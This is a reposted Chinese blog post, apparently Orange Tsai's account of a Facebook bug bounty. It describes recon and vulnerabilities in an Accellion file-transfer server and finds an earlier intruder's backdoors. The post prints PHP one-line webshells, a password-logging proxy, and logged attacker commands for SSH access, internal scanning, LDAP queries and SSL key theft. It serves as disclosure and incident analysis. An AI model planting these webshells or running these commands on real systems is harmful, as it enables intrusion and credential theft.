滲透非死book的思路與發現

weivs929 9年前發布 | 62K 次閱讀 Facebook 服務器安全相關

寫在故事之前

身為一位滲透測試人員，比起 Client Side 的弱點我更喜歡 Server Side 的攻擊，能夠直接的控制服務器、獲得權限操作 SHELL 才爽 <(￣︶￣)>

當然一次完美的滲透任何形式的弱點都不可小覷，在實際滲透時偶爾還是需要些 Client Side 弱點組合可以更完美的控制服務器，但是在尋找弱點時我本身還是先偏向以可直接進入服務器的方式來去尋找風險高、能長驅直入的弱點。

隨著非死book 在世界上越來越火紅、用戶量越來越多，一直以來都有想要嘗試看看的想法，恰巧非死book 在 2012 年開始有了 Bug Bounty 獎金獵人的機制讓我更躍躍欲試。

一般如由滲透的角度來說習慣性都會從收集數據、偵查開始，首先界定出目標在網絡上的 “范圍” 有多大，姑且可以評估一下從何處比較有機會下手。例如:

Google Hacking 到什么數據?

用了幾個 B 段的 IP ? C 段的 IP ?

Whois? Reverse Whois?

用了什么域名? 內部使用的域名? 接著做子域名的猜測、掃描

公司平常愛用什么樣技術、設備?

在 Github, Pastebin 上是否有泄漏什么信息?

…etc

當然 Bug Bounty 并不是讓你無限制的攻擊，將所搜集到的范圍與 Bug Bounty 所允許的范圍做交集后才是你真正可以去嘗試的目標。

一般來說大公司在滲透中比較容易出現的問題點這里舉幾個例子來探討

對多數大公司而言，” 網絡邊界 ” 是比較難顧及、容易出現問題的一塊，當公司規模越大，同時擁有數千、數萬臺機器在線，網管很難顧及到每臺機器。在攻防里，防守要防的是一個面，但攻擊只需找個一個點就可以突破，所以防守方相對處于弱勢，攻擊者只要找到一臺位于網絡邊界的機器入侵進去就可以開始在內網進行滲透了!
對于 “ 連網設備 ” 的安全意識相對薄弱，由于連網設備通常不會提供 SHELL 給管理員做進一步的操作，只能由設備本身所提供的接口設定，所以通常對于設備的防御都是從網絡層來抵擋，但如遇到設備本身的 0-Day 或者是 1-Day 可能連被入侵了都不自覺。
人的安全，隨著 “ 社工庫 ” 的崛起，有時可以讓一次滲透的流程變得異常簡單，從公開數據找出公司員工列表，再從社工庫找到可以登入 V*N 的員工密碼就可以開始進行內網滲透，尤其當社工庫數量越來越多 “ 量變成質變 ” 時只要關鍵人物的密碼在社工庫中可找到，那企業的安全性就全然突破

理所當然在尋找非死book 弱點時會以平常進行滲透的思路進行，在開始搜集數據時除了針對非死book 本身域名查詢外也對注冊信箱進行 Reverse Whois 意外發現了個奇妙的域名名稱

tfbnw.net

TFBNW 似乎是 “ The非死book Network ”的縮寫

再藉由公開資料發現存在下面這臺這臺服務器

V*N.tfbnw.net

哇! V*N.tfbnw.net 看起來是個 Juniper SSL V*N 的登入接口，不過版本滿新的沒有直接可利用的弱點，不過這也成為了進入后面故事的開端。

TFBNW 看似是非死book 內部用的域名，來掃掃 V*N.tfbnw.net 同網段看會有什么發現

Mail Server Outlook Web App
F5 BIGIP SSL V*N
CISCO ASA SSL V*N
Oracle E-Business
MobileIron MDM

從這幾臺機器大致可以判斷這個網段對于非死book 來說應該是相對重要的網段，之后一切的故事就從這里開始。

弱點發現

在同網段中，發現一臺特別的服務器

files.fb.com

files.fb.com 登入界面

從 LOGO 以及 Footer 判斷應該是 Accellion 的 Secure File Transfer (以下簡稱 FTA)

FTA 為一款標榜安全文件傳輸的產品，可讓用戶在線分享、同步檔案，并整合 AD, LDAP, Kerberos 等 Single Sign-on 機制，Enterprise 版本更支持 SSL V*N 服務。

首先看到 FTA 的第一件事是去網絡上搜尋是否有公開的 Exploit 可以利用，Exploit 最近的是由 HD Moore 發現并發布在 Rapid7 的這篇 Advisory

Accellion File Transfer Appliance Vulnerabilities (CVE-2015-2856, CVE-2015-2857)

弱點中可直接從 “ /tws/getStatus ” 中泄漏的版本信息判斷是否可利用，在發現 files.fb.com 時版本已從有漏洞的 0.18 升級至 0.20 了，不過就從 Advisory 中所透露的片段程序代碼感覺 FTA 的撰寫風格如果再繼續挖掘可能還是會有問題存在的，所以這時的策略便開始往尋找 FTA 產品的 0-Day 前進!

不過從實際黑箱的方式其實找不出什么問題點只好想辦法將方向轉為白箱測試，透過各種方式拿到舊版的 FTA 原始碼后終于可以開始研究了!

整個 FTA 產品大致架構：

網頁端接口主要由 Perl 以及 PHP 構成

PHP 原始碼皆經過 IonCube 加密

在背景跑了許多 Perl 的 Daemon

首先是解密 IonCude 的部分，許多設備為了防止自己的產品被檢視所以會將原始碼加密，不過好在 FTA 上的 IonCude 版本沒到最新，可以使用現成的工具解密，不過由于 PHP 版本的問題，細節部份以及數值運算等可能要靠自己修復一下，不然有點難看…

經過簡單的原始碼審查后發現，好找的弱點應該都被 Rapid7 找走了 T^T而需要認證才能觸發的漏洞又不怎么好用，只好認真點往深層一點的地方挖掘!

經過幾天的認真挖掘，最后總共發現了七個弱點，其中包含了

Cross-Site Scripting x 3

Pre-Auth SQL Injection leads to Remote Code Execution

Known-Secret-Key leads to Remote Code Execution

Local Privilege Escalation x 2

除了回報非死book 安全團隊外，其余的弱點也制作成 Advisory 提交 Accellion 技術窗口，經過廠商修補提交 CERT/CC 后取得四個 CVE 編號：

CVE-2016-2350

CVE-2016-2351

CVE-2016-2352

CVE-2016-2353

詳細的弱點細節會待 Full Disclosure Policy 后公布!

使用 Pre-Auth SQL Injection 寫入 Webshell

在實際滲透中進去服務器后的第一件事情就是檢視當前的環境是否對自己人善，為了要讓自己可以在服務器上待的久就要盡可能的了解服務器上有何限制、紀錄，避開可能會被發現的風險

非死book 大致有以下限制：

防火墻無法連外, TCP, UDP, 53, 80, 443 皆無法

存在遠程的 Syslog 服務器

開啟 Auditd 記錄

無法外連看起來有點麻煩，但是 ICMP Tunnel 看似是可行的，但這只是一個 Bug Bounty Program 其實不需要太麻煩就純粹以 Webshell 操作即可。

似乎有點奇怪?

正當收集證據準備回報非死book 安全團隊時，從網頁日志中似乎看到一些奇怪的痕跡。

首先是在 “ /var/opt/apache/php_error_log ” 中看到一些奇怪的 PHP 錯誤訊息，從錯誤訊息來看似乎像是邊改 Code 邊執行所產生的錯誤?

PHP error log

跟隨錯誤訊息的路徑去看發現疑似前人留下的 Webshell 后門

Webshell on 非死book server

其中幾個檔案的內容如下

sshpass

沒錯，就是那個 sshpass

bN3d10Aw.php

<?phpecho shell_exec($_GET['c']); ?>

uploader.php

<?phpmove_uploaded_file($_FILES["f]["tmp_name"], basename($_FILES["f"]["name"]));?>

d.php

<?phpinclude_oncce("/home/seos/courier/remote.inc"); echo decrypt($_GET["c"]);?>

sclient_user_class_standard.inc

前幾個就是很標準的 PHP 一句話木馬

其中比較特別的是 “ sclient_user_class_standard.inc ” 這個檔案

include_once 中 “ sclient_user_class_standard.inc.orig ”為原本對密碼進行驗證的 PHP 程序，黑客做了一個 Proxy 在中間并在進行一些重要操作時先把 GET, POST, COOKIE 的值記錄起來

整理一下，黑客做了一個 Proxy 在密碼驗證的地方，并且記錄非死book 員工的賬號密碼，并且將記錄到的密碼放置在 Web 目錄下，黑客每隔一段時間使用 wget 抓取

wgethttps://files.fb.com/courier/B3dKe9sQaa0L.log

↑ Logged passwords

從紀錄里面可以看到除了用戶賬號密碼外，還有從 FTA 要求檔案時的信件內容，記錄到的賬號密碼會定時 Rotate (后文會提及，這點還滿機車的XD)

發現當下，最近一次的 Rotate 從 2/1 記錄到 2/7 共約 300 筆賬號密碼紀錄，大多都是 “ @fb.com ” 或是 “ @非死book.com ” 的員工帳密，看到當下覺得事情有點嚴重了，在 FTA 中，使用者的登入主要有兩種模式

一般用戶注冊，密碼 Hash 存在數據庫，由 SHA256 + SALT 儲存
非死book 員工 (@fb.com) 則走統一認證，使用 LDAP 由 AD 認證

在這里相信記錄到的是真實的員工賬號密碼， ** 猜測 ** 這份賬號密碼應該可以通行非死book Mail OWA, V*N 等服務做更進一步的滲透…

此外，這名 “黑客” 可能習慣不太好

后門參數皆使用 GET 來傳遞，在網頁日志可以很明顯的發現他的足跡
黑客在進行一些指令操作時沒顧慮到 STDERR ，導致網頁日志中很多指令的錯誤訊息，從中可以觀察黑客做了哪些操作

從 access.log 可以觀察到的每隔數日黑客會將記錄到的賬號密碼清空

1cattmp_list3_2 | while read line; do cp /home/filex2/1000/$line files; done2>/dev/stdout92.168.54.13- - 17955 [Sat, 23 Jan 2016 19:04:10 +0000 | 1453575850] "GET/courier/custom_template/1000/bN3dl0Aw.php?c=./sshpass -p '********' ssh -v -oStrictHostKeyChecking=no soggycat@localhost 'cp/home/seos/courier/B3dKe9sQaa0L.log /home/seos/courier/B3dKe9sQaa0L.log.2; echo> /home/seos/courier/B3dKe9sQaa0L.log' 2>/dev/stdout HTTP/1.1" 200 2559...

 cattmp_list3_2 | while read line; do cp /home/filex2/1000/$line files; done2>/dev/stdout

tar-czvf files.tar.gz files
打包檔案

對內部網絡結構進行探測

diga archibus.the非死book.com
telnetarchibus.非死book.com 80
curlhttp://archibus.the非死book.com/spaceview_非死book/locator/room.php
diga records.fb.com
telnetrecords.fb.com 80
telnetrecords.fb.com 443
wget-O- -q http://192.168.41.16
diga acme.非死book.com
./sshpass-p '********' ssh -v -o StrictHostKeyChecking=no soggycat@localhost 'for i in $(seq201 1 255); do for j in $(seq 0 1 255); do echo "192.168.$i.$j:`dig +shortptr $j.$i.168.192.in-addr.arpa`"; done; done' 2>/dev/stdout
...

使用 Shell Script 進行內網掃描但忘記把 STDERR 導掉XD

嘗試對內部 LDAP 進行連接

sh:-c: line 0: syntax error near unexpected token `('
sh:-c: line 0: `ldapsearch -v -x -H ldaps://ldap.the非死book.com -bCN=svc-accellion,OU=Service Accounts,DC=the非死book,DC=com -w '********' -sbase (objectclass=*) 2>/dev/stdout'

嘗試訪問內部網絡資源( 看起來 Mail OWA 可以直接訪問 …)

--20:38:09-- https://mail.the非死book.com/ Resolvingmail.the非死book.com... 192.168.52.37 Connectingto mail.the非死book.com|192.168.52.37|:443... connected. HTTPrequest sent, awaiting response... 302 Found Location:https://mail.the非死book.com/owa/ [following] --20:38:10-- https://mail.the非死book.com/owa/ Reusingexisting connection to mail.the非死book.com:443. HTTPrequest sent, awaiting response... 302 Moved Temporarily Location:https://mail.the非死book.com/owa/auth/logon.aspx?url=https://mail.the非死book.com/owa/&reason=0[following] --20:38:10-- https://mail.the非死book.com/owa/auth/logon.aspx?url=https://mail.the非死book.com/owa/&reason=0 Reusingexisting connection to mail.the非死book.com:443. HTTPrequest sent, awaiting response... 200 OK Length:8902 (8.7K) [text/html] Savingto: `STDOUT'

 0K ........                                             100% 1.17G=0s

20:38:10(1.17 GB/s) - `-' saved [8902/8902]

--20:38:33-- (try:15) https://10.8.151.47/ Connectingto 10.8.151.47:443... --20:38:51-- https://svn.the非死book.com/ Resolvingsvn.the非死book.com... failed: Name or service not known. --20:39:03-- https://sb-dev.the非死book.com/ Resolvingsb-dev.the非死book.com... failed: Name or service not known. failed:Connection timed out. Retrying.</pre>

嘗試對 SSL Private Key 下手

sh:/etc/opt/apache/ssl.crt/server.crt: Permission denied
ls:/etc/opt/apache/ssl.key/server.key: No such file or directory
mv:cannot stat `x': No such file or directory
sh:/etc/opt/apache/ssl.crt/server.crt: Permission denied
mv:cannot stat `x': No such file or directory
sh:/etc/opt/apache/ssl.crt/server.crt: Permission denied
mv:cannot stat `x': No such file or directory
sh:/etc/opt/apache/ssl.crt/server.crt: Permission denied
mv:cannot stat `x': No such file or directory
sh:/etc/opt/apache/ssl.crt/server.crt: Permission denied
mv:cannot stat `x': No such file or directory
sh:/etc/opt/apache/ssl.crt/server.crt: Permission denied
base64:invalid input

從瀏覽器觀察 files.fb.com 的憑證還是 Wildcard 的 *.fb.com …

后記

在收集完足夠證據后便立即回報給非死book 安全團隊，回報內容除了漏洞細節外，還附上相對應的 Log 、截圖以及時間紀錄xD

從服務器中的日志可以發現有兩個時間點是明顯黑客在操作系統的時間，一個是七月初、另個是九月中旬

七月初的動作從紀錄中來看起來比較偏向 “逛” 服務器，但九月中旬的操作就比較惡意了，除了逛街外，還放置了密碼 Logger 等，至于兩個時間點的 “黑客” 是不是同一個人就不得而知了而七月發生的時機點正好接近 CVE-2015-2857 Exploit 公布前，究竟是透過 1-Day 還是無 0-Day 入侵系統也無從得知了。

這件事情就記錄到這里，總體來說這是一個非常有趣的經歷xD

也讓我有這個機會可以來寫寫關于滲透的一些文章

最后也感謝 Bug Bounty 及胸襟寬闊的非死book 安全團隊讓我可以完整記錄這起事件 : )

Timeline

2016/02/05 20:05 提供漏洞詳情給非死book 安全團隊
2016/02/05 20:08 收到機器人自動回復
2016/02/06 05:21 提供弱點 Advisory 給 Accellion 技術窗口
2016/02/06 07:42 收到 Thomas 的回復，告知調查中
2016/02/13 07:43 收到 Reginaldo 的回復，告知 Bug Bounty 獎金 $10000 USD
2016/02/13 詢問是否撰寫 Blog 是否有任何要注意的地方?
2016/02/13 詢問此漏洞被認為是 RCE 還是 SQL Injection
2016/02/18 收到 Reginaldo 的回復，告知正在進行調查中，希望 Blog 先暫時不要發出
2016/02/24 收到 Hai 的回復，告知獎金將會于三月發送
2016/04/20 收到 Reginaldo 的回復，告知調查已完成

這篇是前天的時候，Orange Tsai發的，根據他們執行長說的話應該是可以轉載吧

來自： http://www.freebuf.com/articles/web/102618.html

本文由用戶 weivs929 自行上傳分享，僅供網友學習交流。所有權歸原作者，若您的權利被侵害，請聯系管理員。

轉載本站原創文章，請注明出處，并保留原始鏈接、圖片水印。

本站是一個以用戶分享為主的開源技術平臺，歡迎各類分享！

本文地址：http://www.baiduhome.net/lib/view/open1461586575227.html

Facebook 服務器安全相關